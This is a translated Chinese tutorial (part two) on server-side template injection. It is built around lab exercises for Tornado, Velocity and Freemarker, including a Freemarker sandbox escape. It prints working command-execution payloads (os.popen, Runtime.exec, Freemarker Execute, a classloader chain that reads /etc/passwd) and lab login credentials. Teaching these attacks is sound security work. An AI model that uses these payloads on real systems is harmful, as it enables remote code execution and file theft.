前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >详解模板注入漏洞(下)

详解模板注入漏洞(下)

作者头像
程序猿DD
发布2021-01-12 10:30:18
发布2021-01-12 10:30:18
1.8K0
举报
文章被收录于专栏:程序猿DD

作者 | 原作者gosecure,翻译整理shan66

来源 | http://gosecure.github.io/

在上一篇文章中,我们为读者详细介绍了模版注入漏洞的概念,模版引擎的识别方法,以及两种模版引擎相关的注入漏洞。在本文中,我们将继续为读者介绍其他四种模版引擎相关的注入漏洞。(上一篇传送门:详解模板注入漏洞(上)

6. LAB 3: Tornado (Python)

简介

Tornado模板是Tornado(一款流行的Python Web框架)中的一个引擎。针对该模版的练习非常简单,这表明:有时候仅需阅读库文档就能找到强大的功能。

模板语法基础知识
代码语言:javascript
复制
Hello {{userName}}

基本数据绑定

攻击面

它比Jinja2简单多了。因为它支持import指令。这个指令的实现类似于Python的import。

代码语言:javascript
复制
{%import os%}

import指令前后需要加上{…}括号。

下面展示的是一个完整的payload,它用于导入os模块,并执行方法popen(即打开进程)。

代码语言:javascript
复制
{%import os%}

{{os.popen("whoami").read()}}
练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。

人脸识别除了可以破案,还能制造冤案...

这个服务用于模拟下列情形:每次提交表单时都会发送一封邮件。

使用以上方法就可以利用这里的漏洞。

您可以访问服务器上的flag.txt文件了吗?

7. LAB 4: Velocity (Java)

简介

Velocity是最流行的Java模板引擎之一。而Freemarker则是另一个非常流行的选择。在本文中,我们之所以选择Velocity,是因为的利用难度要大一些。

模板语法基础知识

参考资料:Velocity的官方文档

攻击面

James Kettles发现的原始payload需要激活一个名为ClassTool的可选插件。

代码语言:javascript
复制
$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

在本文中,将不会启用该插件。

Velocity支持为变量赋值。

代码语言:javascript
复制
#set( $foo = "bar" )

$foo

这个模式用于访问我们的目标类型。下面是一个实现命令执行功能的payload,但是这里不需要启用任何可选的插件。

代码语言:javascript
复制
#set($x='')##

#set($rt=$x.class.forName('java.lang.Runtime'))##

#set($chr=$x.class.forName('java.lang.Character'))##

#set($str=$x.class.forName('java.lang.String'))##

#set($ex=$rt.getRuntime().exec('ls'))##

$ex.waitFor()

#set($out=$ex.getInputStream())##

#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8013/。

要访问管理功能,请使用凭据admin/123456进行登陆。

知乎砍出正义一刀,PDD祭出终极防御:“供应商员工”!轻松化解攻势!

使用以上方法就可以利用该漏洞。

您可以访问服务器上的flag.txt文件了吗?

8. LAB 5: Freemarker (Java)

简介

Freemarker是另一款流行的Java模板引擎。不过,它的发展速度要比Velocity快得多。

模板语法基础知识
代码语言:javascript
复制
${message}

${user.displayName}

参考资料:Freemarker官方文档

攻击面

内置函数

Freemarker具有一个特定的内置函数列表(在Freemarker文档中通常称为built-in)。这些内置函数可以作为变量的后缀使用。例如,可以转化为nbAverageUsers可以转化为{nbAverageUsers?abs}。

代码语言:javascript
复制
abs, absoluteTemplateName, ancestors, api,

boolean, byte,

c, capFirst, capitalize, ceiling, children, chopLinebreak, chunk, contains, counter,

date, dateIfUnknown, datetime, datetimeIfUnknown, default, double, dropWhile,

endsWith, ensureEndsWith, ensureStartsWith, esc, eval, exists,

filter, first, float, floor,

groups,

hasApi, hasContent, hasNext, html,

ifExists, index, indexOf, int, interpret, isBoolean, isCollection, isCollectionEx, isDate, isDateLike, isDateOnly, isDatetime, isDirective, isEnumerable, isEvenItem, isFirst, isHash, isHashEx, isIndexable, isInfinite, isLast, isMacro, isMarkupOutput, isMethod, isNan, isNode, isNumber, isOddItem, isSequence, isString, isTime, isTransform, isUnknownDateLike, iso, isoH, isoHNZ, isoLocal, isoLocalH, isoLocalHNZ, isoLocalM, isoLocalMNZ, isoLocalMs, isoLocalMsNZ, isoLocalNZ, isoM, isoMNZ, isoMs, isoMsNZ, isoNZ, isoUtc, isoUtcFZ, isoUtcH, isoUtcHNZ, isoUtcM, isoUtcMNZ, isoUtcMs, isoUtcMsNZ, isoUtcNZ, itemCycle, itemParity, itemParityCap,

jString, join, jsString, jsonString,

keepAfter, keepAfterLast, keepBefore, keepBeforeLast, keys,

last, lastIndexOf, leftPad, length, long, lowerAbc, lowerCase,

map, markupString, matches, max, min,

namespace, new, nextSibling, noEsc, nodeName, nodeNamespace, nodeType, number, numberToDate, numberToDatetime, numberToTime,

parent, previousSibling,

removeBeginning, removeEnding, replace, reverse, rightPad, root, round, rtf,

seqContains, seqIndexOf, seqLastIndexOf, sequence, short, size, sort, sortBy, split, startsWith, string, substring, switch,

takeWhile, then, time, timeIfUnknown, trim, truncate, truncateC, truncateCM, truncateM, truncateW, truncateWM,

uncapFirst, upperAbc, upperCase, url, urlPath,

values,

webSafe, withArgs, withArgsLast, wordList,

xhtml, xml

所有内置函数的详细清单

从安全的角度来看,大多数内置函数都非常简单且乏味。但有一件事很特别,那就是new函数。我们可以在官方文件中阅读以下注意事项。

“这个内置函数可能存在安全问题,因为模板作者可以创建任意Java对象,然后使用它们,只要它们实现了TemplateModel的话。此外,模板作者甚至还可以为没有实现TemplateModel的类触发静态初始化。”资料来源:Freemarker docs: Built-in new

Execute类

按照官方描述,我们可以调用exec()函数(TemplateModel的入口方法)。通过其设计,Execute类允许我们执行命令并以字符串的形式获得命令执行结果。

代码语言:javascript
复制
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8025/。

要访问管理功能,请使用凭据admin/hackfest进行登陆。

通过以上方法就可以利用该漏洞。

您可以访问服务器上的flag.txt文件了吗?

潜在的防御机制

值得一提的是,Freemarker确实提供了一种方法来限制模板中的类引用,接下来的练习将按照文档中的描述实现一个ClassResolver。

“您可以(从2.3.17版本开始)使用Configuration.setNewBuiltinClassResolver(TemplateClassResolver)或者new_builtin_class_resolver设置来限制这个内置寒水可以访问哪些类。更多信息请参见Java API文档。如果您允许不太可信的用户上传模板,那么您务必深入研究一下这个话题。”资料来源:Freemarker docs: Built-in new

9. LAB 6: Freemaker (沙箱逃逸)

Freemarker中的沙盒

Freemarker具有过滤哪些类允许访问的功能。例如,需要实现TemplateClassResolver类的子类,这个类将决定模板中的类引用是否被允许。

代码语言:javascript
复制
<ul>

<#list .data_model?keys as key>

<li>${key}</li>

</#list>

</ul>

或者:

代码语言:javascript
复制
${.data_model.keySet()}
查找对类加载器的引用

Classloader类的实例有可能给我们提供远程代码执行(RCE)权限。例如,类加载器可以从外部提供方法加载类(Java字节码)。

以下是可能返回Classloader的常见位置列表。

代码语言:javascript
复制
java.lang.Class.getClassLoader()

java.lang.Thread.getCurrentClassLoader()

java.lang.ProtectionDomain.getClassLoader()

javax.servlet.ServletContext.getClassLoader()

org.osgi.framework.wiring.BundleWiring.getClassLoader()

org.springframework.context.ApplicationContext.getClassLoader()

这些API将转换为以下Freemarker语法形式。

//java.lang.Object.getClass() -> java.lang.Class.getClassLoader()

${any_object.class.classLoader}

//javax.servlet.ServletRequest -> javax.servlet.ServletContext.getClassLoader()

${request.servletContext.classLoader}
并非所有的类加载器都是相同的

尽管不同的类加载器可能有一个公共的子类,但是,它们的实现却差别很大。不同的Web容器(托管Java应用的Web服务器)在运行时将使用不同的类加载器。因此,我们需要调整我们的payload来锁定正确的目标。

读取文件/目录列表

代码语言:javascript
复制
<#assign uri = classLoader.getResource("META-INF").toURI() >

<#assign url = uri.resolve("file:///etc/passwd").toURL() >

<#assign bytes = url.openConnection().inputStream.readAllBytes() >

${bytes}

(Payload来源:Room for Escape: Scribbling Outside the Lines of Template Security)

在我们的测试中,我们发现到字节数组不会自动转换为字符串。规避该限制的一种方法是每次提取一个字节。

代码语言:javascript
复制
${bytes[0]}

${bytes[1]}

${bytes[2]}

[...]

别忘了,字节是以十进制格式打印的。

通用方法

Oleksandr Mirosh和Alvaro Mu?oz 在他们的文章中详细介绍了Web容器特有的各种链条。这些容器包括Tomcat、Jetty、GlassFish、WebLogic和WebSphere。如果您想寻找Freemarker之外的沙盒的逃逸技术,这些都是一个很好的灵感来源。

然而,如果您的目标是利用当前的模板引擎,则存在一个通用的payload(也是来自上面提及的同一篇文章),适用于Freemarker 2.3.29以及更低版本(2020年3月以及修复了该漏洞)。为此,您需要在数据模型中找到一个作为对象的变量。

代码语言:javascript
复制
<#assign classloader=<<object>>.class.protectionDomain.classLoader>

<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>

<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

${dwf.newInstance(ec,null)("whoami")}

这里是一个模板,它将对数据模型中的所有变量进行暴力枚举。

代码语言:javascript
复制
<#list .data_model as key, object_test>

<b>Testing "${key}":</b><br/>

<#attempt>

<#assign classloader=object_test.class.protectionDomain.classLoader>

<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>

<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>

<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>

Shell ! (

${dwf.newInstance(ec,null)("id")}

)

<#recover>

failed

</#attempt>

<br/><br/>

</#list>
练习

为了完成这个练习,请连接到Web服务器http://template-injection.gosec.co:8026/。

该应用程序与之前的基本相同,唯一区别在于:它被配置为只能访问有限的类,因此,这里将无法直接使用Execute类。

要访问管理功能,请使用凭证admin/hackfest进行登陆。

这个应用程序看上去与之前的应用程序非常相似。最后,请验证您是否连接到了8026端口。

10. 结束语

事实上,由于模板引擎的功能是如此强大,以至于必须将其视为脚本来对待。而脚本需要具有非常好的沙箱保护功能,否则的话,就需要通过用户权限来限制对这些具有安全风险功能的访问。因为在很多情况下,它们可能会危及底层操作系统。

参考文献

Server-Side Template Injection [Slides] | [White-paper] by James Kettle

Room for Escape: Scribbling Outside the Lines of Template Security [Slides] | [White-paper] by Oleksandr Mirosh and Alvaro Muñoz

Exploitation of Server Side Template Injection with Craft CMS (Twig template)

Cheatsheet – Flask & Jinja2 SSTI

PayloadsAllTheThings: Community Github repository

往期推荐

人脸识别除了可以破案,还能制造冤案...

Nacos 集群部署模式最佳实践

详解模板注入漏洞(上)

知乎砍出正义一刀,PDD祭出终极防御:“供应商员工”!轻松化解攻势!

IDEA中无法import自己工程中类的问题解决方法

JDK 16 即将发布,新特性速览!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-01-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序猿DD 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 6. LAB 3: Tornado (Python)
    • 简介
      • 模板语法基础知识
        • 攻击面
          • 练习
          • 7. LAB 4: Velocity (Java)
            • 简介
              • 模板语法基础知识
                • 攻击面
                  • 练习
                  • 8. LAB 5: Freemarker (Java)
                    • 简介
                      • 模板语法基础知识
                        • 攻击面
                          • 练习
                            • 潜在的防御机制
                            • 9. LAB 6: Freemaker (沙箱逃逸)
                              • Freemarker中的沙盒
                                • 查找对类加载器的引用
                                  • 并非所有的类加载器都是相同的
                                    • 练习
                                    • 10. 结束语
                                    • 参考文献
                                    领券
                                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档